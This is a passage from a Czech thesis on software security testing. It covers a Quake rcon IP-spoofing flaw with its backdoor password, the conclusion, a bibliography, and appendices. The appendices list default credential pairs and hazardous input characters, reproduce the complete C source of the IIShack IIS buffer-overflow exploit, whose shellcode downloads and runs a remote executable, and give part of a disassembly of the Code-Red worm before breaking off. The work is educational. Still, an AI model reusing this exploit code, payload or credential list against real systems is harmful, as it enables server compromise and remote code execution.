5.4 Du˚veˇra v data 5.4.1 Popis Proble´mem je, zˇe neˇktere´ aplikace du˚veˇrˇujı´ datu˚m, ktere´ pocha´zejı´ z definovane´ho zdroje a nechteˇjı´ je ani autentizovat. Mnohdy jim stacˇ´ı k identifikaci IP adresa v paketu a prˇitom je jasne´, zˇe nenı´ obtı´zˇne´ pozmeˇnit data v paketu vcˇetneˇ zdrojove´ IP adresy, viz. IP spoofing. 5.4.2 Du˚sledky Aplikace mu˚zˇe prˇijmout podvrzˇena´ data, cˇ´ımzˇ u´tocˇnı´k mu˚zˇe aplikaci ovla´dnout. 5.4.3 Prˇı´klady Prˇ´ıklad te´to chyby najdeme u Quake serveru. Ten umozˇnˇuje administra´torovi vzda´leneˇ posı´lat prˇ´ıkazy z konsole. Vsˇe je rˇesˇeno UDP pakety, kdy kazˇdy´ paket obsahuje heslo pro zı´ska´nı´ prˇ´ıstupu. Objevila se ale chyba, kdy u´tocˇnı´k mu˚zˇe poslat UDP paket s hlavicˇkou obsahujı´cı´ rcon prˇ´ıkaz a heslo „tms“ se zdrojovou IP adresou podsı´teˇ ID Software (192.246.40.0/24). Tı´m zˇe server nepozˇaduje otevrˇenı´ spojenı´ pro posı´la´nı´ rcon paketu˚ nenı´ proble´m IP adresu podvrhnout.
46
Kapitola 6
Za´veˇr Ve sve´ diplomove´ pra´ci jsem popsal za´kladnı´ techniky testova´nı´ softwarove´ bezpecˇnosti, popsal jsem prˇ´ıcˇiny vzniku u´toku˚ a ilustroval jsem je na prˇ´ıkladech z praxe. V pra´ci jsem se prˇedevsˇ´ım zameˇrˇil na chyby softwaru vyply´vajı´cı´ ze zpracova´nı´ uzˇivatelsky´ch dat, ze softwarovy´ch za´vislostı´ a pouzˇ´ıva´nı´ syste´movy´ch zdroju˚, protozˇe vsˇechny tyto chyby jsou du˚sledkem sˇpatne´ho programova´nı´, na cozˇ jsem chteˇl upozornit a hlavneˇ jsou zdrojem velky´ch bezpecˇnostnı´ch rizik. Do teˇchto kapitol jsem vcˇlenil podkapitoly upozornˇujı´cı´ na proble´my DoS u´toku˚ a u´toku˚ na SQL dotazy, tzv. SQL injection. Tato problematika je pouze nastı´neˇna, protozˇe je tak rozsa´hla´, zˇe obeˇ tato te´mata by vydala na samostatnou diplomovou pra´ci. Stejneˇ tak tomu je u proble´mu prˇetecˇenı´ bufferu, kde jsem prˇedstavil neˇkolik u´toku˚, ale urcˇiteˇ bychom jich nasˇly desı´tky a ne me´neˇ zajı´mavy´ch. Jednı´m z velmi zajı´mavy´ch u´toku˚, ktery´ jsem se zde snazˇil podrobneˇ popsat, byl cˇerv Code-Red. V poslednı´ cˇa´sti jsem se veˇnoval chyba´m, ktere´ vznikajı´ beˇhem na´vrhu a implementace aplikace a snazˇil jsem se zde prˇedevsˇ´ım varovat prˇed nechteˇny´mi pozu˚statky cˇa´stı´ ko´du, ktere´ pu˚vodneˇ slouzˇily trˇeba pro testova´nı´ a v u´tocı´ch se dajı´ snadno vyuzˇ´ıt. Do prˇ´ılohy jsem umı´stil prˇ´ıklady testovacı´ch dat a prˇedevsˇ´ım zdrojove´ ko´dy dvou u´toku˚, IIShack a cˇerva Code-Red.
47
Literatura [1] CAIDA. http://www.caida.org. [2] CERT Coordination Center. http://www.cert.org. [3] Core Security Technologies. http://www.coresecurity.com. [4] Idefense. http://www.idefense.com. [5] Insecure. http://www.insecure.org. [6] NSG Software. http://www.nextgenss.com/papers/advanced sql injection.pdf. [7] NTBugTraq. http://www.ntbugtraq.com. [8] Secunia - Vulnerability and Virus Information. http://www.secunia.com. [9] SecuriTeam. http://www.securiteam.com. [10] Security Focus. http://www.securityfocus.com. [11] Security portal. http://www.security-portal.cz. [12] SPI Dynamics Inc. http://www.spidynamics.com/papers/ SQLInjectionWhitePaper.pdf. [13] Underground. http://underground.cz. [14] Joel Scambray, Stuart McClure, and George Kurtz. Hacking bez tajemstvı´. Computer press, 2002. [15] James A. Whittaker. How to Break Software. Addison Wesley, 2003. [16] James A. Whittaker. ten/cˇerven 2001.
Software’s invisible users.
IEEE Software, 18:84–88, kveˇ-
[17] James A. Whittaker. What is software testing? and why is it so hard? IEEE Software, 17:70–79, leden/u´nor 2000. [18] James A. Whittaker and Herber H. Thompson. How to Break Software Security. Addison Wesley, 2003. [19] James A. Whittaker and Jeffrey M. Voas. Toward a more reliable theory of software reliability. IEEE Computer, 33:36–42, prosinec 2000.
48
Prˇı´loha A
Testovacı´ data Uzˇivatelske´ jme´no Administrator, Admin db2admin Demo Guest IBM Postmaster Powerdown Rje Root sa
Heslo ””; Admin; admin; Administrator; administrator; root db2admin ””; demo; demos ””; Guest; guest IBM ”” powerdown rje ””; root ””
Tabulka A.1: Defaultnı´ a testovacı´ uzˇivatelske´ u´cˇty
49
A. TESTOVACI´ DATA Znak NULL (ˆ @)
ETX (ˆ C) EOT (ˆ D)
BEL (ˆ G) BS (ˆ H) TAB (ˆ I) LF (ˆ J) FF (ˆ L) DC1 (ˆ Q) DC3 (ˆ S) CAN (ˆ X) SUB (ˆ Z)
! MEZERA uvozovky $ %
*,+,? <, >, | \
Chyba Windows a Unix pouzˇ´ıva´ rˇeteˇzce ukoncˇene´ NULL pro vola´nı´ syste´movy´ch funkcı´, C/C++ je vyuzˇ´ıva´ prˇi vola´nı´ funkcı´ ze standardnı´ch knihoven. Vlozˇeny´ znak v rˇeteˇzci mu˚zˇe ovlivnit pouzˇ´ıva´nı´ rˇeteˇzcu˚, kdy znaky za NULL jsou ignorova´ny program mu˚zˇe by´t dı´ky znaku EXT prˇerusˇen, protozˇe Unix a Windows pouzˇ´ıva´ ETX jako prˇerusˇovacı´ znak EOT mu˚zˇe prˇerusˇit vstupnı´ proud nebo cely´ program nebo mu˚zˇe zpu˚sobit neocˇeka´vane´ chova´nı´ aplikace, protozˇe Unix pouzˇ´ıva´ EOT jako znak pro konec souboru nebo konec vysı´la´nı´ vsˇechny tyto znaky mohou zpu˚sobovat proble´my v uchova´nı´ dat, navı´c BS mu˚zˇe mazat jednotlive´ znaky mazat, a TAB mu˚zˇe zpu˚sobit prˇetecˇenı´ promeˇnne´, protozˇe se cˇasto exanduje na rˇeteˇzec mezer mu˚zˇe zpu˚sobovat skrolova´nı´ textu nebo zpu˚sobit jine´ proble´my zobrazenı´ DC1 nema´ prˇideˇlenou funkci, mı´sto toho vysı´la´ XON signa´l; DC3 zpu˚sobuje zamrznutı´ mu˚zˇe zpu˚sobit ignorova´nı´ prˇedchozı´ho vstupu Windows berou SUB jako znak ukoncˇujı´cı´ rˇeteˇzec, Unix jako pozastavujı´cı´ znak. Znak ale mu˚zˇe zpu˚sobit ignorova´nı´ prˇedchozı´ho vstupu a vyzˇadovat novy´, mu˚zˇe pozastavit program nebo ho prˇimeˇt k neprˇedvı´datelne´mu chova´nı´. expanduje cˇa´st rˇeteˇzce na shellovy´ prˇ´ıkaz pokud je rˇeteˇzec pouzˇit jako argument, mu˚zˇe zpu˚sobit proble´my neodpovı´dajı´cı´ nebo neocˇeka´vane´ uvozovky zpu˚sobujı´ proble´my, pokdu je rˇeteˇzec zpracova´va´n nebo interpretova´n mu˚zˇe rˇeteˇzec za $ cha´pat jako promeˇnnou prostrˇedı´ a expandovat ji Ve Windows mu˚zˇe by´t rˇeteˇzec za % nahrazen hodnotou syste´move´ promeˇnne´; v Unixu mu˚zˇe ve´st k ukoncˇenı´ aplikace nebo k chybne´ interpretaci dat tyto znaky mohou by´ti neprˇedvı´datelneˇ expandova´ny, pokud je rˇeteˇzec s nimi interpretova´n tyto znaky mohou produkovat neprˇedvı´datelne´ vy´sledky mu˚zˇe znaku za \ da´t specia´lnı´ vy´znam, naprˇ. \0,\n, \b atd. Tabulka A.2: specia´lnı´ znaky
50
Prˇı´loha B
IIShack /***********************************************************/ /* IIS Exploit for Linux (c) 1999 Ultima */ /* [email protected] */ /* */ /* */ /* Compiling: cc -o iishack iishack.c */ /* Example: */ /* ./iishack www.notthere.com 80 www.myisp.com/exploit.exe */ /***********************************************************/ #include #include #include #include #include #include #include
<stdio.h> <sys/types.h> <sys/socket.h> <stdlib.h> <arpa/inet.h>
#define egglen 1157 #define urloff 1055 unsigned char egg[] = { 71, 69, 84, 32, 47, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
51
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65,
B. IISHACK 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 144, 192, 103, 90, 83, 88, 201, 244, 192, 176, 102, 136, 18, 255, 117, 51, 208, 144, 86, 87, 192, 102, 147, 145, 130, 147, 33, 131, 33, 33, 33, 33, 33, 33, 48,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 51, 215, 104, 67, 86, 132, 80, 67, 80, 2, 131, 3, 139, 87, 251, 192, 102, 144, 255, 216, 64, 109, 138, 134, 141, 134, 132, 154, 33, 33, 33, 33, 33, 33, 13,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 176, 192, 44, 82, 50, 178, 192, 88, 82, 64, 102, 195, 86, 18, 248, 65, 80, 184, 144, 119, 128, 80, 84, 149, 143, 98, 132, 144, 143, 33, 33, 33, 33, 33, 33, 10,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 135, 80, 33, 81, 192, 84, 80, 177, 81, 80, 171, 22, 255, 146, 90, 78, 80, 255, 80, 204, 252, 83, 83, 134, 33, 141, 151, 143, 130, 33, 33, 33, 33, 33, 33, 13,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 103, 91, 136, 83, 215, 255, 88, 5, 83, 64, 88, 139, 87, 139, 102, 199, 106, 15, 83, 255, 255, 255, 33, 33, 120, 141, 33, 143, 142, 33, 33, 33, 33, 33, 46, 10,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 104, 176, 83, 89, 3, 75, 255, 18, 80, 88, 18, 171, 117, 244, 67, 50, 86, 178, 80, 255, 180, 80, 243, 67, 236, 144, 215, 137, 131, 238, 6, 141, 72, 83, 80, 82, 255, 87, 87, 236, 116, 4, 87, 228, 128, 141, 128, 141, 138, 143, 144, 132, 148, 134, 134, 132, 134, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 104, 116, 10 };
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 135, 139, 60, 139, 132, 89, 67, 192, 84, 87, 102, 50, 102, 66, 8, 138, 255, 80, 212, 128, 133, 144, 132, 132, 102, 33, 143, 149, 144, 33, 33, 33, 33, 33, 114,
u_int32_t resolve(char *host) { struct hostent *he; long n = inet_addr(host);
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 103, 222, 222, 240, 192, 90, 82, 215, 255, 244, 171, 192, 131, 4, 86, 141, 119, 82, 139, 252, 192, 144, 147, 141, 153, 120, 133, 33, 152, 33, 33, 33, 33, 33, 32,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 104, 102, 117, 139, 80, 226, 83, 80, 18, 137, 88, 215, 239, 82, 67, 138, 204, 255, 232, 255, 117, 144, 134, 144, 134, 116, 33, 136, 143, 33, 33, 33, 33, 33, 72,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 144, 184, 244, 249, 88, 230, 255, 88, 171, 71, 171, 58, 16, 106, 139, 129, 255, 87, 51, 116, 223, 144, 130, 148, 132, 112, 148, 134, 79, 33, 33, 33, 33, 33, 84,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 144, 33, 67, 252, 117, 67, 18, 132, 89, 204, 171, 200, 146, 16, 243, 54, 87, 232, 192, 15, 85, 255, 149, 134, 33, 100, 144, 149, 134, 33, 33, 33, 33, 33, 84,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 144, 2, 67, 89, 244, 50, 139, 192, 90, 51, 171, 117, 139, 82, 252, 128, 240, 139, 90, 80, 255, 108, 33, 33, 104, 108, 132, 137, 153, 33, 33, 33, 33, 33, 80,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 144, 3, 186, 177, 67, 192, 240, 80, 226, 192, 177, 248, 82, 255, 172, 128, 88, 240, 82, 86, 87, 102, 128, 128, 141, 84, 140, 144, 134, 33, 33, 33, 33, 33, 47,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 88, 216, 208, 6, 82, 215, 90, 88, 230, 80, 33, 50, 12, 119, 132, 128, 91, 88, 80, 85, 220, 115, 141, 141, 144, 83, 134, 148, 33, 33, 33, 33, 33, 33, 49,
65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 88, 50, 16, 144, 81, 80, 51, 117, 51, 80, 144, 192, 139, 204, 192, 128, 139, 144, 82, 255, 51, 111, 152, 144, 131, 33, 149, 149, 33, 33, 33, 33, 33, 33, 46,
/* for solaris, try uint32_t */
52
B. IISHACK if(n!=-1) return(n); he = gethostbyname(host); if(!he) { herror(”gethostbyname”); return(0); } memcpy(&n, he->h_addr, 4); return(*(long *)he->h_addr_list[0]); } int main(int argc, char **argv) { char *server; int port; char *url; int fd; struct sockaddr_in s_in; int i=0,x,j=0; int first=0; if(argc != 4) { fprintf(stderr, ”usage: %s <server> <port> \n”, argv[0]); exit(1); } server = argv[1]; port = atoi(argv[2]); url = argv[3]; if(strlen(url) > 85) { fprintf(stderr,”Name must be less than 85 characters.\n”); exit(1); } for(x=0;x<strlen(url);x++) { if(url[x] == ’/’ && !first) { first=1; egg[urloff+j]=’!’+0x21; egg[urloff+j+1]=’G’+0x21;
53
B. IISHACK egg[urloff+j+2]=’E’+0x21; egg[urloff+j+3]=’T’+0x21; egg[urloff+j+4]=’ ’+0x21; egg[urloff+j+5]=’/’+0x21; j+=6; continue; } egg[urloff+j] += url[x]; j++; } fd = socket(AF_INET, SOCK_STREAM, 0); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = resolve(server); connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in)); while(i!=egglen) { x=send(fd, egg+i, egglen-i, 0); if(x<0) { fprintf(stderr, ”Connection to target lost. WTF?\n”); exit(1); } i+=x; } printf(”successfully uploaded\n”); return(0); }
54
Prˇı´loha C
Code-Red version 1 seg000
segment byte public ’CODE’ use32 assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing aGetDefault_ida db ’GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN’ db ’NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN’ db ’NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN’ db ’NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN’ db ’N%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685’ db ’8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f’ db ’f%u0078%u0000%u00=a HTTP/1.0’,0Dh,0Ah db ’Content-type: text/xml’,0Ah db ’HOST:www.worm.com’,0Ah db ’ Accept: */*’,0Ah db ’Content-length: 3569 ’,0Dh,0Ah db 0Dh,0Ah
; SUBROUTINE ; this is the worm body. this is the code that actually does the work ; Attributes: bp-based frame WORM
proc near
var_218 var_190
= byte ptr -218h = dword ptr -190h push mov sub push push push lea mov mov repe mov
WORM
jmp endp
ebp ebp, esp ; switch esp to ebp esp, 218h ; set up space for local variables ebx ; save a few regs esi edi edi, [ebp+var_218] ; fill in stack vars with 0xcc ecx, 86h ; ’.’ eax, 0CCCCCCCCh stosd ; Store String [ebp+var_190], 0; set 190h to 0 ; this zeros out the memory ; that holds the GetProcAddress Call. WORMCONTINUE ; Jump
; SUBROUTINE DataSetup proc pop lea mov mov
near ; CODE XREF: seg000:00000D0Dp dword ptr [ebp-198h] edi, [ebp-110h]; set ebp -198h to address of the data segment ; set edi to ebp -110 eax, large fs:0; set eax to an ebp+val [edi+8], eax ; set ebp+118 to 0
55
C. CODE-RED VERSION 1 mov jmp DataSetup endp
large fs:0, edi; set fs reg ? JUMP_TABLE1 ; Jump
; SUBROUTINE DO_RVA
proc pop mov mov sub mov mov call
RVA_TOP: cmp
jnz mov add mov cmp jnz mov NOT_MSVCRT: mov xor mov cmp jnz mov mov mov xor mov cmp jnz mov mov mov mov add mov mov mov add mov mov
near ; CODE XREF: seg000:00000C93p dword ptr [ebp-1A0h] dword ptr [ebp-110h],0FFFFFFFFh ; set 110h to 0xffffffff eax,[ebp-198h] ; load eax to the data address eax, 7 ; sub 7 from the data segment, putting you at: oD0B [ebp-10Ch],eax ; set ebp - 10c to oD0B dword ptr [ebp-1A8h],77E00000h ; set 1a8 to 0x780000 ; NULL_IMPORT_DESCRIPTOR+15D4h DO_REWRITE ; jump into ced, do stuff, then jump back ; CODE XREF: DO_RVA+213j dword ptr [ebp-190h], 0 ; this is null on the first loop through, due ; to a null set at init. ; The purpose of this loop point is to loop through DLL ; Names in the RVA table, looking for KERNEL32.dll, or ; more specificly, KERN GETPROC_LOADED ; go here after GetProcAddr Is loaded ecx,[ebp-1A8h] ; set ecx to 77E00000 ecx, 10000h ; make ecx 0x77e10000 [ebp-1A8h], ecx dword ptr [ebp-1A8h],78000000h ; is it msvcrt? short NOT_MSVCRT; if it is not, then jump here dword ptr [ebp-1A8h],0BFF00000h ; CODE XREF: DO_RVA+57j edx,[ebp-1A8h] ; set edx to 0x77E10000 eax, eax ; null out eax ax, [edx] ; move the low half of *edx into eax ; should be something like 5a4d eax, 5A4Dh ; Compare Two Operands TO_RVA_TOP ; jump if eax is not 5a4d ecx, [ebp-1A8h]; set ecx to 0x77E10000 edx, [ecx+3Ch] ; set edx to *ecx+3ch ; should be something like 0x000000D8 eax, [ebp-1A8h]; set eax to 0x77E10000 ecx, ecx ; null out ecx cx, [eax+edx] ; set ecx to what is at eax+edx ; should be something like 0x00004550 ecx, 4550h ; Compare Two Operands TO_RVA_TOP ; jump if ecx is not 0x00004550 edx, [ebp-1A8h]; set edx to 0x77E10000 eax, [edx+3Ch] ; set eax to what’s at 0x77E1003Ch ; should be something like 0x000000D8 ecx, [ebp-1A8h]; set ecx to 0x77E10000 edx, [ecx+eax+78h] ; set edx to what’s at address 0x77E100B4 ; should be somehing like 51E00 edx, [ebp-1A8h]; add 0x77E10000 to edx [ebp-1ACh], edx; set ebp-1AC to 0x77E61E00 eax, [ebp-1ACh]; set eax to 0x77E61E00 ecx, [eax+0Ch] ; set ecx to what is at 0x77E61E0C ; should be something like 0x005394E ecx, [ebp-1A8h]; add 0x77E10000 to ecx, ; to get something like 0x77E6394e [ebp-1B4h], ecx; set ebp-1B4 to 77E6394E edx, [ebp-1B4h]; set edx to 77E6394E
56
C. CODE-RED VERSION 1 cmp jnz mov cmp jnz mov mov mov mov add mov mov jmp
dword ptr [edx], 4E52454Bh ; looking for our specific code (NREK); KERN spelled backwards.. this is to find KERNEL32 TO_RVA_TOP ; Jump if Not Zero (ZF=0) eax, [ebp-1B4h] dword ptr [eax+4], 32334C45h ; looking for our specific code (23LE) ; EL32 spelled backwards.. this is to find KERNEL32 TO_RVA_TOP ; Jump if Not Zero (ZF=0) ecx, [ebp-1A8h]; ok, we have kernel32, now get the functions we need. [ebp-1CCh], ecx; store the kernel32 base addr. edx, [ebp-1ACh]; set edx to the offset from the base eax, [ebp-1A8h]; set eax to the base eax, [edx+20h] ; add the offset pointer to the base to get the RVA addr [ebp-1B4h], eax; set ebp-1b4 with rva holder dword ptr [ebp-1B8h], 0 ; set ebp-1b8 to 0 short RVA_PROCESS_FUNC ; This is the part of the inner RVA loop that ; compares the current RVA function to GetProcAddr.
RVA_INNER_TOP: mov add mov mov add mov
; ecx, [ebp-1B8h]; ecx, 1 ; [ebp-1B8h], ecx edx, [ebp-1B4h] edx, 4 ; [ebp-1B4h], edx
RVA_PROCESS_FUNC: mov
; CODE XREF: DO_RVA+11Ej eax, [ebp-1ACh]; This is the part of the inner RVA loop that ; compares the current RVA function to GetProcAddr. ecx, [ebp-1B8h] ecx, [eax+18h] ; Compare Two Operands TO_RVA_TOP ; this is the end of the inside loop(there are no more ; functions), goto RVA top and try again. edx, [ebp-1B4h] eax, [edx] ecx, [ebp-1A8h] dword ptr [ecx+eax], 50746547h ; looking for GetProcAddr (PteG cmp) TO_RVA_INNER_TOP ; didn’t match, try the next one. edx, [ebp-1B4h] eax, [edx] ecx, [ebp-1A8h] dword ptr [ecx+eax+4], 41636F72h ; looking for GetProcAddr(Acor cmp) TO_RVA_INNER_TOP ; didn’t match, try the next one. edx, [ebp-1B8h]; it did match this is GetPRocAddr, ; need to get the mapped RVA for this func. edx, [ebp-1B8h]; get offset into table and double it edx, [ebp-1A8h]; get RVA Base for Kernel32.dll eax, [ebp-1ACh] ecx, [eax+24h] eax, eax ; NULL out eax ax, [edx+ecx] [ebp-1B4h], eax; set ebp-1B4 to offset into rva table ecx, [ebp-1ACh] edx, [ecx+10h] eax, [ebp-1B4h] ecx, [eax+edx-1] ; Load Effective Address [ebp-1B4h], ecx edx, [ebp-1B4h] edx, [ebp-1B4h]; Add edx, [ebp-1B4h]; Add edx, [ebp-1B4h]; Add edx, [ebp-1A8h]; Add eax, [ebp-1ACh]
mov cmp jge mov mov mov cmp jnz mov mov mov cmp jnz mov add add mov mov xor mov mov mov mov mov lea mov mov add add add add mov
CODE XREF: DO_RVA+20Ej this moves on to the next func in an rva table Add
Add
57
C. CODE-RED VERSION 1 mov mov mov mov add mov jmp
ecx, [eax+1Ch] edx, [edx+ecx] [ebp-1B4h], edx eax, [ebp-1B4h] eax, [ebp-1A8h]; Add [ebp-190h], eax; set ebp-190 to GetProcAddr Address short TO_RVA_TOP ; Jump
TO_RVA_INNER_TOP: jmp
RVA_INNER_TOP
TO_RVA_TOP: jmp
RVA_TOP
; CODE XREF: DO_RVA+168j ; DO_RVA+184j ; this moves on to the next func in an rva table ; ; ; ; ; ; ;
CODE XREF: DO_RVA+73j DO_RVA+94j ... this is null on the first loop through, due to a null set at init. The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERN
GETPROC_LOADED: lea mov mov cmp jnz jmp
; CODE XREF: DO_RVA+35j edi, [ebp-110h]; Load Effective Address eax, [edi+8] large fs:0, eax dword ptr [ebp-190h], 0 ; see if getprocaddr is loaded short GPLOADED2; if it is, goto gploaded2 TIGHT_LOOP ; else, goto locC91
GPLOADED2: mov jmp
; CODE XREF: DO_RVA+22Ej dword ptr [ebp-1B4h], 1 ; set ebp-1b4 to 1 short GETPROC_LOOP_TOP ; load edx with the data segment
GETPROC_LOOP_INC: mov add mov
; CODE XREF: DO_RVA+2E9j ecx, [ebp-1B4h]; increment the counter at ebp-ib4 ecx, 1 ; Add [ebp-1B4h], ecx
GETPROC_LOOP_TOP: mov movsx test
; CODE XREF: DO_RVA+23Fj edx, [ebp-198h]; load edx with the data segment eax, byte ptr[edx] ; move the byte at data segment to eax eax, eax ; check if the byte is null. This signifies ; the end of the function data section. FUNC_LOAD_DONE ; if it is, go here ecx, [ebp-198h]; load ecx with the data segment edx, byte ptr [ecx] ; load edx wuith the byte at data segment edx, 9 ; check if the byte specifies change of dll short loc_4B4 ; if not, jump here eax, [ebp-198h]; set eax to current data pointer eax, 1 ; get past the 9 esi, esp eax ; push current data pointer dword ptr [ebp-170h] ; LoadLibraryA esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 [ebp-1CCh], eax; load current dll base pointer ; with return from LoadLibraryA short DLL_CHECK_NULL_BRANCH ; Jump
jz mov movsx cmp jnz mov add mov push call cmp nop inc dec inc dec mov jmp
58
C. CODE-RED VERSION 1 loc_4B4: mov mov push mov push call cmp nop inc dec inc dec mov mov
; CODE XREF: DO_RVA+26Dj esi, esp ecx, [ebp-198h]; set ecx with the data segment pointer ecx ; push data segment(pointer of function to load) edx, [ebp-1CCh]; get current RVA base offset edx ; push module handle(base loaded address) dword ptr [ebp-190h] ; call GetProcAddress esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ; Increment by 1 ebx ; Decrement by 1 ecx, [ebp-1B4h]; load ecx with ebp-1b4 [ebp+ecx*4-174h], eax ; load the address into the ebp stack where ; needed this sets up our function jumptable
DLL_CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+28Ej jmp short CHECK_NULL_BRANCH ; load eax with data segment. ; this checks the nullishness of the ebp-198 data ; pointer, and if isn’t null, increments it. CHECK_NULL_BRANCH_INC: ; mov edx, [ebp-198h]; ; add edx, 1 ; mov [ebp-198h], edx
CODE XREF: DO_RVA+2D8j this function moves the data segment on to the next lookup Add
CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+2BAj mov eax, [ebp-198h]; load eax with data segment. ; this checks the nullishness of the ebp-198 data ; pointer, and if isn’t null, increments it. movsx ecx, byte ptr [eax] ; load byte at eax into ecx test ecx, ecx ; check for null jz short GETPROC_SHIFT_NULL ; if it is null, go here jmp short CHECK_NULL_BRANCH_INC ; else go here GETPROC_SHIFT_NULL: ; mov edx, [ebp-198h]; ; ; add edx, 1 ; mov [ebp-198h], edx jmp GETPROC_LOOP_INC FUNC_LOAD_DONE: mov add mov
mov mov mov mov mov mov mov mov mov mov
CODE XREF: DO_RVA+2D6j this function moves past the null on the end of a line to set the function up for the next run through the getproc/load library system Add ; increment the counter at ebp-ib4
; CODE XREF: DO_RVA+25Bj eax, [ebp-198h]; set eax to the data segment eax, 1 ; inc eax [ebp-198h], eax; set datasegment to eax ; This moves us past the final NULL ; at the end of the Dll Listing ecx, [ebp+8] ; load ecx with an address at ebp+8 edx, [ecx+84h] ; load edx with a wam.dll entry [ebp-194h], edx; load this wam.dll entry into ebp-194 dword ptr [ebp-1B4h], 4 ; set ebp-1b4 to 4 byte ptr [ebp-130h], 68h ; ’h’ ; set ebp-130 to 68h ; this seems to be setting up some type of structure eax, [ebp+8] ; load eax with ebp+8(possibly an isapi request struct) [ebp-12Fh], eax; save the ebp+8 at ebp-12f dword ptr [ebp-12Bh], 0FF53535Bh dword ptr [ebp-127h], 90907863h ecx, [ebp+8] ; check pointer to the possible isapi struct
59
C. CODE-RED VERSION 1 mov mov cmp jnz mov push lea push mov push mov mov push call cmp nop inc dec inc dec loc_599: cmp jge mov add mov mov imul mov mov mov mov mov lea push push lea push lea push push push call cmp nop inc dec inc dec jmp
TOO_MANY_THREADS: mov call cmp nop inc dec
